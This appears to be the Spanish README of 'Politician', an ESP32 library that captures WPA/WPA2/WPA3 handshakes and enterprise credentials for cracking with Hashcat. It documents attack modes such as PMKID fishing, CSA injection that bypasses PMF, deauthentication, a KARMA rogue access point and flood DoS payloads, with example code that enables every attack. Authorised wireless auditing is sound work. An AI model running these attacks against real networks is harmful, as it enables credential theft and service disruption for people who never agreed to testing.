
Biblioteca de auditoría WiFi moderna para ESP32 que utiliza técnicas avanzadas 802.11. Captura handshakes WPA/WPA2/WPA3 mediante extracción de PMKID e inyección CSA (evita PMF). Cosecha credenciales empresariales, admite banda dual (2.4GHz/5GHz en ESP32-C6), exporta a PCAPNG/Hashcat. API C++ limpia con 9 ejemplos.
Una biblioteca sofisticada de auditoría WiFi para microcontroladores ESP32
Politician es una biblioteca de C++ embebido diseñada para la auditoría de seguridad WiFi en plataformas ESP32. Proporciona una API limpia y moderna para capturar handshakes WPA/WPA2/WPA3 y recolectar credenciales empresariales utilizando técnicas avanzadas de protocolo 802.11.
ClientFoundCb se cambió de (const uint8_t *bssid, const uint8_t *sta, int8_t rssi) a (const ClientRecord &rec). Actualice los callbacks existentes:
// Before
engine.setClientFoundCallback([](const uint8_t *bssid, const uint8_t *sta, int8_t rssi) { … });
// After
engine.setClientFoundCallback([](const ClientRecord &rec) {
// rec.bssid, rec.sta, rec.rssi — same data plus rand_mac, vendor, timestamps
});
La biblioteca está construida en torno a una máquina de estados no bloqueante que gestiona el salto de canales, la selección de objetivos, la ejecución de ataques y el procesamiento de capturas. Todas las operaciones están contenidas dentro del espacio de nombres politician.
| Cabecera | Descripción |
|---|---|
Politician.h | Clase principal del motor — inclúyela en cada proyecto |
PoliticianTypes.h | Structs públicos, enums y compuertas de características en tiempo de compilación |
PoliticianStorage.h | Registradores de tarjeta SD y persistencia NVS (solo Arduino) |
PoliticianFormat.h | Primitivas de serialización PCAPNG y HC22000 |
PoliticianStress.h | Cargas útiles DoS opcionales (SAE flood, probe flood, beacon flood) |
PoliticianProbe.h | Wordlist PROGMEM opcional para sondeo de SSID ocultos |
PoliticianWPS.h | Helpers de impresión WPS M1 opcionales y constantes de máscara de bits |
PoliticianSense.h | Detección pasiva de movimiento y presencia basada en RSSI opcional |
| Modo | Bit | Descripción |
|---|---|---|
ATTACK_PMKID | 0x01 | Pesca de PMKID mediante asociación falsa |
ATTACK_CSA | 0x02 | Inyección de Channel Switch Announcement |
ATTACK_PASSIVE | 0x04 | Solo escucha — cero transmisión |
ATTACK_DEAUTH | 0x08 | Desautenticación clásica Reason-7 |
ATTACK_STIMULATE | 0x10 | Estimulación de clientes con QoS Null Data |
ATTACK_BTM | 0x20 | BSS Transition Management Request 802.11v |
ATTACK_ALL | 0x3F | Todos los vectores de ataque activos |
Define cualquiera de estas antes de incluir Politician.h o mediante tu sistema de compilación (-DNAME):
; platformio.ini
build_flags =
-DPOLITICIAN_NO_DB ; Strip 14KB OUI database (no vendor lookups)
-DPOLITICIAN_NO_PCAPNG ; Strip PCAPNG serialization
-DPOLITICIAN_NO_HC22000 ; Strip Hashcat HC22000 formatter
-DPOLITICIAN_NO_LOGGING ; Strip all internal Serial log output
-DPOLITICIAN_NO_STD_FUNCTION ; Use raw fn pointers instead of std::function
-DPOLITICIAN_NO_MSCHAPV2 ; Strip bare EAP-MSCHAPv2 capture
-DPOLITICIAN_NO_KARMA ; Strip KARMA rogue AP responder
-DPOLITICIAN_MAX_INSTANCES=1 ; Limit to one instance (saves a pointer array slot)
POLITICIAN_NO_STD_FUNCTION revierte todos los tipos de callback de std::function<> a punteros de función sin procesar — ahorrando ~2KB de flash y permitiendo su uso en entornos sin <functional>. Las capturas de lambda no están disponibles cuando esta flag está activada.
POLITICIAN_MAX_INSTANCES (por defecto 2) controla el tamaño del registro estático de instancias utilizado por el despachador ISR promiscuo. Establécelo en 1 para despliegues de instancia única y así eliminar la sobrecarga del bucle en el ISR.
[env:myboard]
platform = espressif32
board = esp32dev
framework = arduino
lib_deps =
Politician
O clona directamente en el directorio lib/ de tu proyecto:
cd lib/
git clone https://github.com/0ldev/Politician.git
Clónala en el directorio components/ de tu proyecto y crea un CMakeLists.txt:
idf_component_register(
SRCS "src/Politician.cpp" "src/PoliticianFormat.cpp" "src/PoliticianStress.cpp"
INCLUDE_DIRS "src"
)
PoliticianStorage.hes exclusivo de Arduino y emite un#errorbajo ESP-IDF. Utilice las API de VFS ynvs_flashde ESP-IDF directamente.
#include <Arduino.h>
#include <SD.h>
#include <Politician.h>
#include <PoliticianStorage.h>
using namespace politician;
using namespace politician::storage;
Politician engine;
PcapngFileLogger pcap; // Streaming logger — one open(), many write() calls
void onHandshake(const HandshakeRecord &rec) {
Serial.printf("[✓] %s ch%d rssi=%d type=%d\n",
rec.ssid, rec.channel, rec.rssi, rec.type);
pcap.write(rec);
}
void setup() {
Serial.begin(115200);
SD.begin();
pcap.open(SD, "/captures.pcapng", 4 * 1024 * 1024); // optional auto-rotation at 4MB
engine.setEapolCallback(onHandshake);
engine.begin();
engine.setAttackMask(ATTACK_ALL);
}
void loop() {
engine.tick();
}
#include <nvs_flash.h>
#include <esp_event.h>
#include <Politician.h>
using namespace politician;
static Politician engine;
static void audit_task(void *) {
engine.setEapolCallback([](const HandshakeRecord &rec) {
printf("[+] %s ch%d\n", rec.ssid, rec.channel);
});
engine.begin();
engine.setAttackMask(ATTACK_ALL);
for (;;) { engine.tick(); vTaskDelay(pdMS_TO_TICKS(1)); }
}
extern "C" void app_main(void) {
nvs_flash_init();
esp_event_loop_create_default();
xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}
Error begin(const Config &cfg = Config());